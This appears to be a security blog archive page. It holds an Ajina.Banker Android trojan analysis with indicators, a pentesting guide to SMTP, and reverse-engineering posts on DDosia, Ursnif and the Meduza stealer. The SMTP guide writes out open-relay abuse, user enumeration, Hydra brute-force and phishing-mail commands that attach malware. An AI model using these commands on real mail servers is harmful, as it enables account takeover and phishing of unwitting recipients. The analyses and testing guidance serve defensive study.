    • Phone number
    • Is SPN “known” or not
  • list of installed financial applications originated from Armenia, Azerbaijan, Iceland, Kazakhstan, Kyrgyzstan, Pakistan, Russia, Uzbekistan and some international ones
  • sent SMS
    • Recipient
    • Body
    • Date
  • received SMS
    • Sender
    • Body
    • Date

The trojan abuses the <queries> element in the app’s manifest instead of abusing QUERY_ALL_PACKAGES permission, and therefore it can get information only about what is declared in manifest packages. However, it does not prevent the expansion of the list of targets for a particular sample because Trojan will send to the gate server every incoming SMS, including for banks not included in the list of targets (action 2). This allows, for example, the initial registration of accounts in organizations that are not the target of the trojan.Broadcast receiver for incoming SMSes

Figure 16. Broadcast receiver for incoming SMSes

While collecting SIM-card info, the trojan checks if the SPN is “known” and, if it is, sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device.

CountryUSSD
Armenia*187#
*420#
*525#
Azerbaijan*137#
*540#
*666#
Kazakhstan*160#
Kyrgyzstan*112#
*212#
Russia*100#
*103#
*111*0887#
*116*106#
*200#
*201#
*205#
*303#
Tajikistan*111#
*99#
Ukraine*161#
*61#
Uzbekistan*100*4#
*150#
*303#
*450#
*664579#

After this USSD response is received, the trojan sends the response info to the gate server (action 4):USSD response callback

Figure 17. USSD response callback

There is no difference between samples with com.example.smshandler package name from first and last infections with publicly available samples.

Ajina.Banker.B

We gathered several samples from the org.zzzz.aaa group and found little differences in the code structure. Further analysis of the appearance of new samples and code similarities lead us to the conclusion that this family is still under active development, and we can suggest that org.zzzz.aaa is the new version of the same family as com.example.smshandler.New samples stats

Figure 18. New samples stats

As shown above, another group of samples has the org.zzzz.aaa package name. The first known infection occurred on February 18 2024, while the earliest publicly available sample was detected on 20 February 2024, and is still the most downloaded for now.

One of the freshest samples has an interesting but less popular difference. It is a new execution flow branch showing another view instead of just a background image. Based on the names of variables of type TextInputEditText, we assume that this is something like a phishing page, but we are not able to trigger this branch.New activity layout Ajina malware

Figure 19. New activity layout

Along with this new View there is a new action 7 message for sending user-provided phone number, bank card number and PIN-code.The user-inputed card info is sent to gate server

Figure 20.The user-inputed card info is sent to gate server

It appears that this new feature is developed to primarily target users in Azerbaijan because of the hard-coded phone number prefix and text language on the Toast popup.

There are some additional features that are common for most of analyzed org.zzzz.aaa samples:

  • new packages of interest
  • Accessibility Service abuse:
    • prevent uninstallation
    • grant permissions
  • Requests for additional permissions. However, we did not found calls of Android Platform API in the analyzed samples that requires such permissions
    • READ_CALL_LOG
    • GET_ACCOUNTS
    • READ_CONTACTS
  • Opens another legitimate app instead of a browser when permissions are granted

There are several examples of layouts from discovered samples with various legends:Example of interface of the new samples

Figure 21.1 Example of interface of the new samplesExample of interface of the new samples

Figure 21.2 Example of interface of the new samplesExample of interface of the new samples

Figure 21.3 Example of interface of the new samplesExample of interface of the new samples

Figure 21.4 Example of interface of the new samples

Infrastructure

As mentioned before, the malware only sends exfiltrated data over raw TCP in JSON to the gate server. There were no capabilities to receive commands found. But we’ve managed to find a web panel of “SMS handler”, which refers us to the version of package name com.example.smshandler. It’s possible to find further servers by the same response, using search by body hash (SHA1 1a9c98808a547d4b50cc31d46e19045bcd2cfc1b).Discovery of the “SMS handler” Web Panel

Figure 22.1 Discovery of the “SMS handler” Web PanelScan result for responses containing Web Panel

Figure 22.2 Scan result for responses containing Web Panel

On all of the adversaries servers we can find certificates with “WIN-PDDC81NCU8C” issuer and subject common name. However,  this common name is generic and widely used by a specific hosting service according to Shodan.Certificate found on gate server

Figure 23.1 Certificate found on gate serverNumber of certificates with the same common name

Figure 23.2 Number of certificates with the same common name

We’ve seen 9 servers involved in this campaign, some of them shared the same Etags (e.g. 1718668565.8504026-495-535763281). Network infrastructure involved in this attack is shown on the graph analysis below.

Figure 24. Screenshot of graph analysis of network infrastructure

Targets

As we’ve mentioned above, one significant aspect of our findings is based on the analysis of Android package names utilized in this campaign. Many of these packages mimicked popular regional apps, such as local banking applications, government service portals, or everyday utility tools. By replicating the appearance of these trusted applications, the adversary increased the likelihood of users downloading and installing the malware. So the displayed names can be a trustworthy indication of the target region.

Analysis indicates that most of these malware samples were specifically designed to target users in Uzbekistan, suggesting that the adversary deliberately focused on this region. But there are also a few other regions that have been targeted by the adversary. The main reason is that the samples have hardcoded checks for attributes distinctive for other countries. We’ve also seen AM-CERT (National CERT/CSIRT Armenia) reporting this campaign.

During the analysis we’ve also found the use of specific country phone provider codes embedded within the malicious APKs. These codes indicate that the adversary has an even wider pool of target countries. The adversary checks for Service Provider Network (SPN) and then sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device. Based on this we can assume potential regions of interest, from where the user data could be possibly stolen.Distribution of supported SPNs and apps of interest per country hardcoded in sample

Figure 25. Distribution of supported SPNs and apps of interest per country hardcoded in sample

Attribution

The analysis of the malware has shown that the malicious files contain data about different affiliates. This leads us to conclude that it’s based on an affiliate programme, where the support for the initial project is led by a small group of people, and all the distribution and infection chains are made by affiliates working for the percentage.

Sample named “Вип Контент.apk” – “VIP Content.apk” in english – (SHA1 b4b9562a9f4851cba5761b1341f58f324f258123) was seen by MalwareHunterTeam and mentioned in Twitter post in January 28, 2024. One of the replies written to the post by APK–47 highlights an interesting username hardcoded as a name of one of the workers. The username “@glavnyypouzbekam” leads to the Telegram account named “Travis Bek” with description “Главный по узбекам” which means “Chief for Uzbeks”.Screenshot of the Twitter post by APK--47

Figure 26.1 Screenshot of the Twitter post by APK–47Screenshot of the Twitter post by APK-47

Figure 26.2 Screenshot of the Twitter post by APK-47

Group-IB Threat Intelligence system has found the following activity related to the Telegram account mentioned. Adversary participated in programmers chats, searched for “Java coder” and, according to his message, to an existing team. Detected user activity is shown on the figures below.User activity found by Group-IB Threat Intelligence

Figure 27.1 User activity found by Group-IB Threat IntelligenceUser activity found by Group-IB Threat Intelligence

Figure 27.2 User activity found by Group-IB Threat Intelligence

We’ve also found a Telegram bot connected to this campaign by username “@glavnyypouzbekam” contained in its description. Bot with the username “@glavnyypouzbekambot” has information about the possibility of earning money online and an invitation to join written in Russian.Telegram bot found during the investigation

Figure 28.1 Telegram bot found during the investigationTelegram bot found during the investigation

Figure 28.2 Telegram bot found during the investigation

We assume that highly likely due to its uniqueness, the hardcoded worker’s name “@glavnyypouzbekam” is connected to the discovered Telegram activity. Based on our findings, we assume that the adversary standing behind this account is one of the operators of the Ajina malicious campaign. The hiring of Java coders, created Telegram bot with the proposal of earning some money, also indicates that the tool is in the process of active development and has support of a network of affiliated employees. Worth noting, that soon after the adversary’s name was posted on Twitter, current Telegram account was deleted.

Prevention

To protect Group-IB customers from threats related to Ajina.Banker malware and other similar threats, Group-IB Fraud Protection uses events/rules to detect and prevent Ajina.Banker and other similar malware:

For confirmed malware samples Ajina.Banker:

Group-IB’s Fraud Protection maintains an extensive database of all detected malware. When our system detects applications from the list of mobile Trojans downloaded to an end-users device, we trigger the appropriate events to notify our customers promptly.Screenshot of event from Group-IB Fraud Protection system

Figure 29. Screenshot of event from Group-IB Fraud Protection system

When the malware is detected on the user’s device:

Once the trojan is successful, sensitive customer data typically falls into the hands of the threat actor, who then seeks to monetize this data. Often, the threat actor or their software will log into the stolen account. In such cases, a new device may appear when accessing the user account. Consequently, a rule has been developed to monitor accounts where a mobile banking trojan has been confirmed and to detect logins from new devices.

When new versions of a given Trojan family appear:

For cases where the malware has not yet been added to the malware database, a new rule has been developed that focuses on the trojan’s specific characteristics. In particular, we check the characteristics of all software from a non-legitimate source for the ability to read SMS. These alerts are also transmitted to banks in the form of specific event types, increasing the likelihood of preventing fraudulent transactions by threats.Screenshot of event from Group-IB Fraud Protection system

Figure 30. Screenshot of event from Group-IB Fraud Protection system

Conclusion

The case of Ajina highlights how quickly malware developers can appear, set up distributional chains and evaluate their tools. The direct communication between the threat actor and victim also makes Ajina.Banker an effective malware type in terms of keeping low detect rate on the first stages. While Group-IB does not have definitive data on the amount of money stolen by Ajina, the methods harnessed by malicious actors are cause for concern.

Recommendations

The security of mobile applications and operating systems is improving rapidly. However, it is premature to completely write-off Android banking Trojans entirely. In our experience, banking Trojans are still highly active, with threat actors widely distributing modified Trojans based on publicly available source code.

A good example of this trend is Ajina.Banker, which poses a significant threat not only to end-users of banking applications but also the entire banking sector itself.

For users

Below are some basic recommendations on protecting mobile devices from banking Trojans like Ajina.Banker.

  • Always check for updates on your mobile device. Maintaining your mobile devices updated will make them less vulnerable to such threats.
  • Avoid downloading applications from sources other than Google Play. However, it’s important to note that even Google Play cannot guarantee complete security. Always check the permissions that an application requests before installing it.
  • Do not click on links contained within suspicious SMS messages.

If your device has been infected, do the following:

  1. Disable network access.
  2. Freeze any bank accounts that may have been accessed from your device.
  3. Contact experts to receive detailed information about the risks that the malware could pose to your device.

For organizations

The Group-IBThreat Intelligence team will continue to track Ajina.Banker and update our database with new indicators related to this trojan. Additionally, our Threat Intelligence team will notify customers when their application is targeted by Ajina.Banker, or any other Android malware we track.

For organizations that wish to protect their customers, implementing a solution that monitors user sessions – such as Group-IB Fraud Protection – can prevent malware operators from defrauding their clients and damaging their reputations.

Group-IB’s Fraud Protection detects the latest fraud techniques, phishing preparation, and other types of attacks. The platform integrates data from Group-IB’s attribution-based Threat Intelligence system. Exclusive information about cybercriminals, malware, adversary IP addresses, and compromised data (logins, passwords, bank cards) helps develop anti-fraud systems and cybersecurity teams, which allows the latter to identify intruders and their actions.

In this way, Fraud Protection “catches” banking Trojans and detects unauthorized remote access, web injections, cross-channel attacks, and personal data collection. Group-IB’s solution implements patented algorithms that help detect infected devices without the client’s involvement and without installing additional software.

Fraud Matrix

Ajina Malware fraud matrix
TacticTechniqueProcedure
Resource developmentMalwareAttackers use Ajina.Banker malware to gain access to user accounts
Scam workersAttacker has a network of affiliated employees acting with financial motivation, spreading Ajina.Banker that victimizes ordinary users
Social Network AccountAttackers use Telegram accounts to spread Ajina.Banker
Trust abuseBluffingAttackers promise easy earnings and lucrative offers to convince end users to install Ajina.Banker
Fake applicationAjina.Banker mimics popular banking apps and payment systems
Enabling Accessibility Service for MalwareAjina.Banker asks for Accessibility Service permission to prevent uninstallation or uninstall itself
End-user interactionPhishingAjina.Banker expended malicious applications via Telegram
Pushing to install Android MalwareAttackers requires users to download, install the .APK file manually
Scam adsThe description of Ajina.Banker in Telegram is accompanied by an advertising description offering bonuses and cash rewards
Scam Message in Social Network/Instant MessengerAjina.Banker is promoted through mailings in Telegram groups and in personal messages
Credential accessPhone Number CaptureAjina.Banker makes a USSD request to get the phone number to be sent to the gate server
2nd Factor CaptureAjina.Banker reads all SMS including authentication codes, allowing fraudsters to pass the 2nd Factor
Card PAN/EXP/CVV CaptureAttackers, after logging into a user’s account, are able to obtain full information about the user’s bank cards
Credential CaptureHaving access to a user account allows attackers to gain full information about the account holder
SMS/Push InterceptionAjina.Banker collects all SMS on the user’s device, even SMS from non-target organizations
Account accessAccess from Fraudster DeviceAttackers log into the account from a new device with the user’s phone number and confirmation SMS

MITRE ATT&CK® Matrix

TacticTechniqueProcedure
Initial Access (TA0027)Phishing (T1660)Ajina spreaded malicious applications via Telegram.
Persistence (TA0028)Event Triggered Execution: Broadcast Receivers (T1624.001)Ajina.Banker registers to receive system-wide broadcast intents such as receiving SMS message, device boot completion, network changes, battery charging state changes, locking and unlocking the screen.
Defense-evasion (TA0030)Indicator Removal on Host: Uninstall Malicious Application (T1630.001)Ajina.Banker can uninstall itself.
Masquerading: Match Legitimate Name or Location (T1655.001)Ajina.Banker mimics legitimate applications, trying to match their names and icons.
Credential-access (TA0031)Access Notifications (T1517)Ajina.Banker can access SMSes.
Discovery (TA0032)Software Discovery (T1418)Ajina.Banker checks for presence of some hardcoded applications (mostly banks).
System Network Configuration Discovery (T1422)Ajina.Banker checks for SPN and then sends a USSD request to get the phone number.
Collection (TA0035)Access Notifications (T1517)Ajina.Banker can access the notifications.
Protected User Data: SMS Messages (T1636.004)Ajina.Banker can access the SMS messages.
Command-and-control (TA0037)Non-Standard Port (T1509)Ajina.Banker sends data in raw TCP to 8080 port.
Exfiltration (TA0036)Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol (T1639.001)Ajina.Banker exfiltrates data to the gate server.

Indicators of compromise

md5sha1sha256
4b0256974d7250e3ddc3d13d6c506f4fcc6af149f1da110a570241dde6e3cfd0852cb0d8a523d967e7bdfbb7ce899445f705925e7c6e11c39db0fb77b8aed3b4615eb17b
a61c0d53f624024d401c987032270e7d2405e7b762e65011f7d107b2b2bcf069a18a527844b8898a37153238185befdbf59e0e6de4efec302082f74992a7120a416f2008
34a42857113ab2c856d533105494eb418a3c5e0c0438588640fbf4afe3a9c176a8204eec1e531605566061e47153f53bba14451eb4b182251f328c62dd7240a19b7fe6e3
bf20e58236c2020cd5eeceff0bf7974c209aa1222bf59dd397aa38779cb0f48dcc9614243897324fdf1ef6deb528b65c047017318a13c87f0b68f1eacee1fad256256b51
7f2e9aa66f802727a52eeec72ed2d45884af2ce3a2e58cc8a70d4cc95916cbfe15f2169e8269b64b8cf38bdaa1b632968dc69172fcc830e9ad0c00cd6bebc586dec4af1f
00241d7334d78340cd5eb721f40b868215de15a6f4af9c32cccbee23d99b80d33f3dcb502e592aacdad946249111ac6ecaa1614fe55091adcf00495936b106cd5707ca35
48eb80adac9c2c9bd046c8f3da8c7f587f4b4f2b941e4472ece092a409099716aadcf16bf4f3d2bd5eee5a1f0632314abf5d540c03e97c0d2afe155439a533a030b792f2
Posted in Cyber Attacks, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

SMTP/s — Port 25,465,587 For Pentesters

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

SMTP (Simple Mail Transfer Protocol) is a core component of the internet’s email infrastructure, responsible for sending and receiving emails. It’s a protocol within the TCP/IP suite, frequently working alongside POP3 or IMAP to store emails on servers and allow users to access them. Despite its widespread use, SMTP has certain vulnerabilities that make it a popular target for penetration testers and hackers.

SMTP Commands:

HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.

EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.

MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.

RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.

SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.

DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.

VRFY The server is asked to verify whether a particular email address or username actually exists.

TURN This command is used to invert roles between the client and the server, without the need to run a new connaction.

AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.

RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).

EXPN This SMTP command asks for a confirmation about the identification of a mailing list.

HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email.

QUIT It terminates the SMTP conversation.

Reconnaissance and Information Gathering

Subdomain Enumeration & DNS Misconfigurations: Before jumping into SMTP directly, expand the reconnaissance section to include subdomain enumeration for deeper target discovery. Tools like amass or sublist3r could be used here to identify potential SMTP servers:Copy

amass enum -d <target-domain>

Subdomains could potentially host misconfigured or less secure SMTP servers.

1.1. Identify Open SMTP Ports

Start by using tools like Nmap to identify open ports, typically 25 (SMTP), 465 (SMTPS), and 587 (Submission over TLS):Copy

nmap -p25,465,587 --open <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <target-IP>
set THREADS 10
run

1.2. MX Record Discovery

Discover Mail Exchanger (MX) records for the target organization:Copy

dig +short mx <target-domain>

This will return the mail servers responsible for receiving emails for the domain.

1.3. Banner Grabbing

Banner grabbing helps identify the SMTP server version, which could contain known vulnerabilities. Use Netcat or OpenSSL to connect and grab the banner:Copy

nc -vn <target-IP> 25

For secure connections:Copy

openssl s_client -starttls smtp -connect <target-IP>:587

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_version

Look for:

  • Server versions
  • Mail server type (Microsoft ESMTP, Postfix, Exim, etc.)
  • Any other information leaks (internal hostnames)

Enumeration and Vulnerability Discovery

2.1. Enumerate SMTP Commands

Use Nmap’s smtp-commands script to enumerate supported SMTP commands. This may give insights into how to interact with the server, and whether certain attack vectors (like relay attacks) are possible.Copy

nmap -p25 --script smtp-commands <target-IP>

2.2. Open Relay Testing

An open SMTP relay can be abused to send spam or phishing emails without authentication. Use the smtp-open-relay Nmap script to test for this vulnerability:Copy

nmap -p25 --script smtp-open-relay <target-IP>

Using Telent:Copy

telnet <target-IP> 25
helo attacker.com
mail from: attacker@attacker.com
rcpt to: victim@target.com
data
This is a test email to verify open relay.
.
quit

If the server is vulnerable, you will be able to send emails without being an authenticated user.

2.3. Verify Users

SMTP servers can sometimes allow username verification using RCPT TO and VRFY commands, revealing valid email accounts on the system.Copy

telnet <target-IP> 25
HELO test.com
MAIL FROM: attacker@attacker.com
RCPT TO: victim@target.com

If you get a 250 OK response, the email address is valid.

You can automate this using tools like smtp-user-enum:Copy

smtp-user-enum -M VRFY -U users.txt -t <target-IP>

Exploiting Information Disclosure and Misconfigurations

3.1. Internal Server Name Disclosure

Some SMTP servers may leak internal server names in the response to commands like MAIL FROM:. For example:Copy

MAIL FROM: attacker@example.com

Response:Copy

250 me@INTERNAL-SERVER.local...Sender OK

This internal information could be used in later attacks.

3.2. NTLM Authentication Information Disclosure

If the SMTP server supports NTLM authentication, you can extract sensitive information by interacting with the authentication process. Copy

nmap --script smtp-ntlm-info.nse -p25 <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smb/smb_ntlm_credential_dump
set RHOSTS <target-IP>
run

Password Cracking and Credential Harvesting

4.1. Sniffing Cleartext Credentials

SMTP running on port 25 (non-SSL) may allow you to capture email credentials via network sniffing using Wireshark or tcpdump. Look for cleartext AUTH LOGIN or AUTH PLAIN credentials.

Wireshark filter:Copy

tcp.port == 25 && tcp contains "AUTH"

4.2. SMTP Brute-Forcing

If authentication is required but weak credentials are suspected, use brute-forcing tools such as Hydra: Copy

hydra -L users.txt -P passwords.txt smtp://<target-IP> -V

Sending Malicious Emails (Post-Exploitation)

Once access is gained to the SMTP server or an open relay is found, it is possible to send phishing emails, malware, or perform further reconnaissance.

5.1. Send an Email from Linux Command Line

Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Urgent" -m "Please open the attached document" -a /path/to/malware.pdf

Or use Swaks to send phishing emails:Copy

swaks --to victim@target.com --from attacker@malicious.com --header "Subject: Urgent" --body "Click this link" --server <target-IP>

5.2. Phishing with EICAR Test File

Test antivirus defenses by sending an EICAR test file to see if the server scans attachments for malware. This helps identify email gateway filtering systems:Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Test" -a /path/to/
Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Extracting DDosia targets from process memory

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

This post is part of an analysis that I have carried out during my spare time, motivated by a friend that asked me to have a look at the DDosia project related to the NoName057(16) group. The reason behind this request was caused by DDosia client changes for performing the DDos attacks. Because of that, all procedures used so far for monitoring NoName057(16) activities did not work anymore.

Before starting to reverse DDosia Windows sample, I preferred to gather as much information as possible about NoName057(16) TTPs and a few references to their samples.

Avast wrote a very detailed article about that project and described thoroughly all changes observed in the last few months. Because of that, before proceeding with this post, If you feel you are missing something, I strongly  recommend that you read their article.

Client Setup

According to the information retrieved from the Telegram channel of DDosia Project, there are a couple of requirements before executing the client. The very first action is to create your id through a dedicated bot that will be used later on for authentication purposes. After that, it’s necessary to put the client_id.txt file (generated from DDosia bot) and the executable file in the same folder. If everything has been done properly, it should be possible to observe that authentication process will be done correctly and the client is going to download targets from its server:

Figure 1: Client authenticated correctly

Figure 1: Client authenticated correctly

Dynamic analysis and process memory inspection

Here we are with the fun part. Because of the issues of analyzing GO binaries statically, I preferred to use a dynamic approach supported by Cape sandbox. In fact, executing the client with Cape it was possible to gather behavioral information to speed up our analysis (ref). Since the executable is going to be used for DDoS attacks, it’s easy to expect that most of the functions are related to network routines. One of the most interesting WindowsAPI refers to WSAStartup. This is interesting for us, because according to Microsoft documentation, it must be the first function to be used in order to retrieve socket implementation for further network operations:

The WSAStartup function must be the first Windows Sockets function called by an application or DLL. It allows an application or DLL to specify the version of Windows Sockets required and retrieve details of the specific Windows Sockets implementation. The application or DLL can only issue further Windows Sockets functions after successfully calling WSAStartup.

Moreover, starting to monitor network requests with Wireshark, give us additional information about client-server interactions and targets retrieving procedure:

Figure 2 - Request for target list

Figure 2 – Request for target list

As already mentioned on Avast blogspot, the target list is encrypted and retrieved after the authentication process. However, performing DDoS attacks requires a decryption routine to make targets in cleartext and forward them to a proper procedure. With this insight, it’s possible to open up a debugger and set a breakpoint of WSAStartup and start exploring the process flow from that point.

Figure 3 - Exploring DDosia executable control flow

Figure 3 – Exploring DDosia executable control flow

Exploring the process execution, it’s possible to observe that WSAStartup API is called two times before starting the attack. The first one has been used from the main thread to perform the authentication process on the server side, instead the second call will be done right after retrieving the target file and it will be used from another thread to start the attack phase. Since that information we are looking for has been already downloaded and hopefully decrypted (at the time of the second call) we could explore the process memory trying to identify our target list.

Figure 4 - Target stored in cleartext within process memoryFigure 4 – Target stored in cleartext within process memory

As we expected, information is actually decrypted right before being used from threads that are in charge to flood the targets. From the cleartext sample, it’s also possible to reconstruct the original json file structure that follow this format:

{"target_id":"435te3af574b95e395847362","request_id":"23cer8c5mmp4434dlad53f2s","host":"www.tartuhly.ee","ip":"90.190.99.85","type":"http","method":"GET","port":443,"use_ssl":true,"path":"/otsi/$_1","body":{"type":"","value":""},"headers":null}

JSON

At this point I have shown all procedures to quickly follow the execution flow until the decryption routine is called. From now on, it’s just a matter of looking for those data within process memory and extracting them for your own purpose. It’s worth noting that information won’t be stored decrypted forever, in fact, as the executable keeps running, the json file is actually mangled in a way that is not easy to resemble it properly.

A little bit of automation

Even if the analysis has been completed and targets are correctly retrieved, I thought that giving a little tool to extract that information would be useful. Instead of doing complex stuff, I wrote two simple scripts called targets.js and recover.py. The purpose of these two files is to allow analysts from different backgrounds to extract those targets, even performing a simple memory dump. Probably there are easier and smarter techniques out there, but it was also a good chance to put in practice DBI, which I have already covered in a previous post.

  • target.js: Frida script that aims to get a memory dump after the WSAStartup has been called for the second time (when payloads are in cleartext in memory).
  • recover.py: it’s a simple python script that retrieves structured information from the files dumped. It’s worth noting that I limited my script to look for structured information, retrieving IP and Hostname (additional improvements are left to user’s needs).

Script Testing

In order to run the mentioned scripts there are two requirements to fulfill:

  • Installing frida-tool (pip install frida-tools).
  • Create a folder named “dumps” in the same place where you run the target.js file.

If all requirements are satisfied it’s just a matter of running those scripts and getting the results. The first step is to run frida.exe, using the targets.js file that contains all the information to dump the process memory:

frida.exe <ddosia_client.exe>  -l targets.js

PowerShell

If everything has been done correctly (please keep in mind the requirements), you should be able to see a message “[END] Memory dumped correctly” in your console.

Figure 5 - Dumping process Memory with Frida

Figure 5 – Dumping process Memory with Frida

Now you can navigate in dumps folder and run the python script using the following command line that is going to forward all dumped file from the current directory to the script that is going to print the result in your console:

python.exe recover.py (Get-Item .\*dump)

PowerShell

Figure 6 - Extracting DDosia targets from dumped files

Figure 6 – Extracting DDosia targets from dump files

Final Notes

Before concluding, It’s worth mentioning that updates on these scripts and new techniques to dealing with further improvements of DDosia project are not going to be shown, because it represents a topic that I’m not following personally and I’m sure that more authoritative voices will keep track of this threat and its evolution.


[2023-11 – UPDATE ]

As mentioned in the section above I’m not able to provide updates on real-time DDosia Project changes, but since it represents a quite good challenge to sharpen my reversing skills on GO binaries (and I received unexpected feedback about this work), I decided to look in their new Windows client version.

Since I would like to keep this update note as brief as possible, I’ll go straight to the point. What really changes and makes the previous frida script ineffective are slightly binary improvements (mostly related to the syscalls used). Because of that I tried to switch monitored syscall to WriteConsoleW, hooking on the message that confirmed the numbers of targets retrieved. I found out that I really needed to change 1 line of the previous script to keep it updated. (Great example of code reuse xD).

Note:

The modification required was pretty easy, however, this change could be also more consistent for further updates (limiting to tweak a little bit with counter variable) since it exploits the feedback messages (e.g., target acquired, requests completed, rewards, etc..) that won’t be removed any time soon.

Moreover, most of this blogpost it’s still a valid reference for setting up the environment and understanding the control flow to retrieve the actual targets, additionally, as far as I know, there were no great changes on the authentication layer. Previous configured environments needs to replace the old binary to the newer provided on DDosia channel.

  • New frida script: console.js

References:

FileNameSha256Date
d_windows_amd64.exe726c2c2b35cb1adbe59039193030f23e552a28226ecf0b175ec5eba9dbcd336e2023/04/19
(new sample) d_win_x64.exe1b53443ebaabafd6f511d4cf7cb85ddf9fa32540c5dd5621f04a3c5eefa663a92023/11/09
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerability2 Comments

Dynamic Binary Instrumentation for Malware Analysis

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

Because of the massive Ursnif campaigns that hit Italy during the last weeks, I was looking for a lightweight method to quickly extract the last infection stage of all collected samples, in order to start further analysis effectively. Due to this, I wrote a little frida script that performs basic Dynamic Binary Instrumentation (DBI) to monitor useful function calls and extracts the Ursnif payload. In this article I am going to briefly discuss this script and the steps needed to start analyzing the resulting binary.

Since I would like to skip redundant topics that are already written all over the internet by people that are Jedi in this field, I’m going to limit this post linking references that would be nice to have to understand everything easily.

  • Frida
  • Windows API
  • Ursnif/Gozi

Intercepting function calls

Most of the time, malware, in order to write memory and run code from the newly allocated space, make use of two functions, such as: VirtualAlloc (ref.) and VirtualProtect (ref.). For the purpose of our task, I have chosen the VirtualProtect function, because at the time of its calling, the data (payload) should be already there and it would be easier to analyze.

So let’s start to write out the code that retrieves the reference of this function and the interceptor that is going to be used to monitor function calls entry and return. Thanks to Frida, it is possible to directly retrieve function arguments through the variable args and check their values. The most important parameter and the one that will be used for our purpose is the lpAddress that represents the address space that is involved in this function call.

Figure 1 - References to VirtualProtect and call Interceptor

Figure 1 – References to VirtualProtect and call Interceptor

Because of the purpose of the article we are not interested in all VirtualProtect calls but we would like to limit our scope to ones that contain a PE header.  To do this, it’s possible to verify if lpAddress starts with “MZ” or “5d4a”. If so, we could print out some values in order to check them against the running executable using tools such as ProcessMonitor or ProcessHacker.

Figure 2 - Printing VirtualProtect arguments

Figure 2 – Printing VirtualProtect arguments

Retrieving the payload

Now comes the tricky part. If we simply apply this technique to dump the memory that contains the MZ, it would be possible for us to also dump the binary that we originally started the infection with. However, analyzing Ursnif code, it’s possible to see that it creates a dedicated memory space to write its final stage that is commonly referenced as a DLL. In order to avoid that, it’s possible to use a function findModuleByAddress that belongs to the Process object.

As reported by Frida documentation:

Process.findModuleByAddress(address) returns a Module whose address or name matches the one specified. In the event that no such module could be found, the find-prefixed functions return null whilst the get-prefixed functions throw an exception.

In order to avoid exception handling stuff I have preferred to go with find prefix function and then checking if the Module returned is equal to null. Otherwise, we would have an existing module object and  module.base = image base.

Now, as a final step before moving on and dumping the actual payload, it’s necessary to retrieve the page size to which  lpAddress belongs. That information could be retrieved using the findRangeByAddress that  return an object with details about the range (memory page) containing address.

 Figure 3 - Checking for payload address

Figure 3 – Checking for payload address

Dumping config file

Now that we have all the information required, it’s time to dump the actual Ursnif payload. In order to do this, it’s possible to read the page related to lpAddress using the readByteArray using the module.size. Once the information has been stored, it’s possible to write it in a file that could be used later on for further manipulation and analysis.

 Figure 4 - Dumping Ursnif payload

Figure 4 – Dumping Ursnif payload

It’s worth noting that before proceeding with the configuration extraction phase, it’s necessary to modify Raw addresses and Virtual Addresses of each section  header accordingly. This step is necessary because the payload was extracted directly from memory.

Script Testing

Now that we have completed our script it’s time for testing with a real case! Let’s take one of the recent samples delivered by the TA and see if it works. For this example I have chosen a publicly available sample on MalwareBazar.

Running the script against this sample with Frida as follow:

frida.exe <mal_executable> -l <your_script.js>

It will produce a file called 0x2cf0000_mz.bin (it may vary from the memory address allocation on your machine).

Figure 5 - Ursnif payload extraction with Frida

Figure 5 – Ursnif payload extraction with Frida

If we open this file with PE-Bear, what should alert us, is the import table that contains unresolved information. This happens, because our code has been extracted directly from memory and before proceeding with our analysis it is necessary to map the raw sections addresses with their virtual counterparts (for brevity I have prepared a script that is going to perform these steps automatically). After having settled the addresses properly, it’s possible to proceed with configuration extraction through a custom script (that is out of the scope for this post).

Reference

  • DBI script: mon.py
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Meduza Stealer or The Return of The Infamous Aurora Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Meduza’s Gaze

Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.

meduza1.JPG

The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.

Chromium Browsers

